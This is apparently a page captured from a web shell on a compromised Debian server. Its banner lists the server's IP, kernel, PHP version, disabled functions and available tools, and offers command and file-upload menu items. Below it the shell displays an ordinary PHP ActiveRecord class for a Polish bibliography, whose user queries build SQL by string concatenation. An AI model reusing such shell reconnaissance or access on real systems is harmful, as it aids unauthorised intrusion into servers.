|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web/protected/Common/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
class KPaper extends TActiveRecord {
const PUBTYPE_ARTICLE = 10;
const PUBTYPE_BOOK = 20;
const PUBTYPE_PAPERINBOOK = 30;
const TABLE = 'ifk_papers';
private $_id = '';
private $_added_date = null;
private $_type = '';
private $_title = '';
private $_publisher = '';
private $_place = '';
private $_year = '';
private $_in_title = '';
private $_in_pages = '';
private $_photo_id = null;
private $_notes = '';
private $_authors = '';
private $_in_authors = '';
private $_cover = '';
private $_last_author_pos = 0;
private $_last_editor_pos = 0;
private $_last_translator_pos = 0;
private $_last_in_author_pos = 0;
private $_last_in_editor_pos = 0;
private $_last_in_translator_pos = 0;
public function getId() {
return $this->_id;
}
public function setId($value) {
$this->_id = TPropertyValue::ensureInteger($value);
}
public function getAdded_date() {
return $this->_added_date;
}
public function setAdded_date($value) {
$this->_added_date = TPropertyValue::ensureString($value);
}
public function getType() {
return $this->_type;
}
public function setType($value) {
$this->_type = TPropertyValue::ensureInteger($value);
}
public function getTitle() {
return $this->_title;
}
public function setTitle($value) {
$this->_title = TPropertyValue::ensureString($value);
}
public function getIn_title() {
return $this->_in_title;
}
public function setIn_title($value) {
$this->_in_title = TPropertyValue::ensureString($value);
}
public function getPublisher() {
return $this->_publisher;
}
public function setPublisher($value) {
$this->_publisher = TPropertyValue::ensureString($value);
}
public function getPlace() {
return $this->_place;
}
public function setPlace($value) {
$this->_place = TPropertyValue::ensureString($value);
}
public function getYear() {
return $this->_year;
}
public function setYear($value) {
$this->_year = TPropertyValue::ensureString($value);
}
public function getIn_Pages() {
return $this->_in_pages;
}
public function setIn_Pages($value) {
$this->_in_pages = TPropertyValue::ensureString($value);
}
public function getPhoto_id() {
return $this->_photo_id;
}
public function setPhoto_id($value) {
$this->_photo_id = TPropertyValue::ensureInteger($value);
}
public function getNotes() {
return $this->_notes;
}
public function setNotes($value) {
$this->_notes = TPropertyValue::ensureString($value);
}
public function getAuthorsString($with_links = false, $author_type = null, $delimiter = ', ') {
$description = '';
$authors = $this->getAuthors($author_type);
foreach ($authors as $author) {
if ($author_type === KAuthor::AUTHORTYPE_TRANSLATOR)
$description .= 'przeł.: ';
if (($ifkauthor = KUserRecord::parseAuthorEntry($author->name)) instanceof KUserRecord) {
if ($with_links)
$description .= "<span class='author'><a href='".KUserRecord::getUrl($ifkauthor->id)."'>" . $ifkauthor->name . '</a></span>';
else
$description .= "<span class='author ifk-author'>" . $ifkauthor->name . '</span>';
} else
$description .= "<span class='author'>" . $author->name . '</span>';
if ($author_type === KAuthor::AUTHORTYPE_EDITOR)
$description .= ' (red.)';
$description .= $delimiter;
}
$description = rtrim($description, " $delimiter");
return $description;
}
public function getCover() {
if (!($this->_cover instanceof KImage) && null === $this->photo_id) {
$this->_cover = new KImage();
} elseif (! ($this->_cover instanceof KImage)) {
$this->_cover = new KImage();
$this->_cover->load($this->photo_id);
}
return $this->_cover;
}
public function getAuthors($author_type = null) {
$crit = new TActiveRecordCriteria();
$crit->Condition = 'pub_id = ' . $this->id;
if (! is_null($author_type)) {
$crit->Condition .= ' AND type = ' . $author_type;
$crit->OrdersBy['sort_pos'] = 'asc';
} else
$crit->OrdersBy['id'] = 'asc';
return KAuthor::finder()->findAll($crit);
}
public function getInAuthors($author_type = null) {
$crit = new TActiveRecordCriteria();
$crit->Condition = 'pub_in_id = ' . $this->id;
if (! is_null($author_type)) {
$crit->Condition .= ' AND type = ' . $author_type;
$crit->OrdersBy['sort_pos'] = 'asc';
} else
$crit->OrdersBy['id'] = 'asc';
return KAuthor::finder()->findAll($crit);
}
public function getDescription($with_colon = true, $with_links = false, $with_publisher = true, $with_place_year = true) {
$description = $this->getAuthorsString($with_links, KAuthor::AUTHORTYPE_AUTHOR);
if (! empty($description) && $with_colon)
$description .= ': ';
$description .= "<span class='title'>" . $this->title . '</span>, ';
$editors = $this->getAuthors(KAuthor::AUTHORTYPE_EDITOR);
foreach ($editors as $editor) {
if (($ifkauthor = KUserRecord::parseAuthorEntry($editor->name)) instanceof KUserRecord) {
$description .= "<span class='author ifk-author'>";
if ($with_links)
$description .= "<a href='" . KUserRecord::getUrl($ifkauthor->id) . "'>" . $ifkauthor->name . '</a></span> (red.), ';
else
$description .= $ifkauthor->name . '</span> (red.), ';
} else
$description .= "<span class='author'>" . $editor->name . ' (red.)</span>, ';
}
;
$translators = $this->getAuthors(KAuthor::AUTHORTYPE_TRANSLATOR);
if (! empty($translators))
$description .= 'przeł.: ';
foreach ($translators as $translator) {
if (($ifkauthor = KUserRecord::parseAuthorEntry($translator->name)) instanceof KUserRecord) {
if ($with_links)
$description .= "<a href='" . KUserRecord::getUrl($ifkauthor->id) . "'>" . $ifkauthor->name . '</a></span>, ';
else
$description .= $ifkauthor->name . '</span>, ';
} else
$description .= "<span class='author'>" . $translator->name . '</span>, ';
}
;
switch ($this->type) {
case self::PUBTYPE_BOOK:
if ($with_publisher)
$description .= "<span class='publisher'>" . $this->publisher . '</span>, ';
if ($with_place_year)
$description .= "<span class='place'>" . $this->place . "</span> <span class='year'>" . $this->year . '</span>';
break;
case self::PUBTYPE_ARTICLE:
$_pages = explode(';;;;', $this->in_pages);
$description .= "<span class='articleintitle'>" . $this->in_title . "</span> (<span class='year'>" . $this->year . "</span>), <span class='pages'>s. " . $_pages[0] . '–' . $_pages[1];
break;
case self::PUBTYPE_PAPERINBOOK:
$_pages = explode(';;;;', $this->in_pages);
$description .= '[W:] ';
$authors = $this->getInAuthors(KAuthor::AUTHORTYPE_AUTHOR);
foreach ($authors as $author) {
if (($ifkauthor = KUserRecord::parseAuthorEntry($author->name)) instanceof KUserRecord)
$description .= "<span class='inauthor ifk-author'><a href='" . KUserRecord::getUrl($ifkauthor->id) . "'>" . $ifkauthor->name . '</a></span>, ';
else
$description .= "<span class='inauthor'>" . $author->name . '</span>, ';
}
;
$description = rtrim($description, ' ,');
$description .= "<span class='title'>" . $this->in_title . '</span>, ';
$editors = $this->getInAuthors(KAuthor::AUTHORTYPE_EDITOR);
foreach ($editors as $editor) {
if (($ifkauthor = KUserRecord::parseAuthorEntry($editor->name)) instanceof KUserRecord)
$description .= "<span class='inauthor ifk-author'><a href='" . KUserRecord::getUrl($ifkauthor->id) . "'>" . $ifkauthor->name . '</a></span> (red.), ';
else
$description .= "<span class='inauthor'>" . $editor->name . ' (red.)</span>, ';
}
;
$translators = $this->getInAuthors(KAuthor::AUTHORTYPE_TRANSLATOR);
if (! empty($translators))
$description .= 'przeł.: ';
foreach ($translators as $translator) {
if (($ifkauthor = KUserRecord::parseAuthorEntry($translator->name)) instanceof KUserRecord)
$description .= "<span class='inauthor ifk-author'><a href='" . KUserRecord::getUrl($ifkauthor->id) . "'>" . $ifkauthor->name . '</a></span>, ';
else
$description .= "<span class='inauthor'>" . $translator->name . '</span>, ';
}
;
$description .= "<span class='publisher'>" . $this->publisher . "</span>, <span class='place'>" . $this->place . "</span> <span class='year'>" . $this->year . "</span>, <span class='pages'>s. " . $_pages[0] . '–' . $_pages[1];
break;
}
if ($this->Notes != '')
$description .= " <span class='notes'>(" . $this->Notes . ')</span>';
return $description;
}
public function clearAuthors() {
// clear;
KAuthor::finder()->deleteByPub_id($this->id);
KAuthor::finder()->deleteByPub_in_id($this->id);
$this->_last_author_pos = 0;
$this->_last_editor_pos = 0;
$this->_last_translator_pos = 0;
$this->_last_in_author_pos = 0;
$this->_last_in_editor_pos = 0;
$this->_last_in_translator_pos = 0;
}
public function addAuthor($author_type, $author_name) {
$this->insertAuthorRecord(false, $author_type, $author_name);
}
public function addInAuthor($author_type, $author_name) {
$this->insertAuthorRecord(true, $author_type, $author_name);
}
private function insertAuthorRecord($in_author, $author_type, $author_name) {
$sort_pos_var = '_last_author_pos';
switch ($author_type) {
case KAuthor::AUTHORTYPE_AUTHOR:
if ($in_author)
$sort_pos_var = '_last_in_author_pos';
else
$sort_pos_var = '_last_author_pos';
break;
case KAuthor::AUTHORTYPE_EDITOR:
if ($in_author)
$sort_pos_var = '_last_in_editor_pos';
else
$sort_pos_var = '_last_editor_pos';
break;
case KAuthor::AUTHORTYPE_TRANSLATOR:
if ($in_author)
$sort_pos_var = '_last_in_translator_pos';
else
$sort_pos_var = '_last_translator_pos';
break;
}
$sort_pos = $this->$sort_pos_var;
$author = new KAuthor();
if ($in_author)
$author->pub_in_id = $this->id;
else
$author->pub_id = $this->id;
$author->type = $author_type;
$author->name = $author_name;
$author->sort_pos = $sort_pos;
$author->save();
$this->$sort_pos_var ++;
}
public static function getAllBooksForUser($uid) {
return self::finder()->findAllBySQL("select pb.* from ifk_papers pb where id in (select pub_id from ifk_authors where name='@@" . $uid . "') and type=" . KPaper::PUBTYPE_BOOK . ' order by year desc, added_date desc');
}
public static function getAllNonBooksForUser($uid) {
return self::finder()->findAllBySQL("select pb.* from ifk_papers pb where id in (select pub_id from ifk_authors where name='@@" . $uid . "') and type<>" . KPaper::PUBTYPE_BOOK . ' order by year desc, added_date desc');
}
public static function getAllForUser($uid) {
return self::finder()->findAllBySQL("select pb.* from ifk_papers pb where id in (select pub_id from ifk_authors where name='@@" . $uid . "') order by year desc, added_date desc");
}
public static function finder($className = __CLASS__) {
return parent::finder($className);
}
public function delete() {
$this->clearAuthors();
if ($this->type == self::PUBTYPE_BOOK)
$this->Cover->delete();
parent::delete();
}
public function getUrl() {
return Prado::getApplication()->getService()->constructUrl('Front.BookDetails', array(
'bid' => $this->id,
'title' => KPage::urlify($this->getTitle())
));
}
public function save() {
if (is_null($this->photo_id))
$this->photo_id = $this->Cover->getId();
if ($this->type != self::PUBTYPE_BOOK)
$this->photo_id = null;
parent::save();
}
}
?>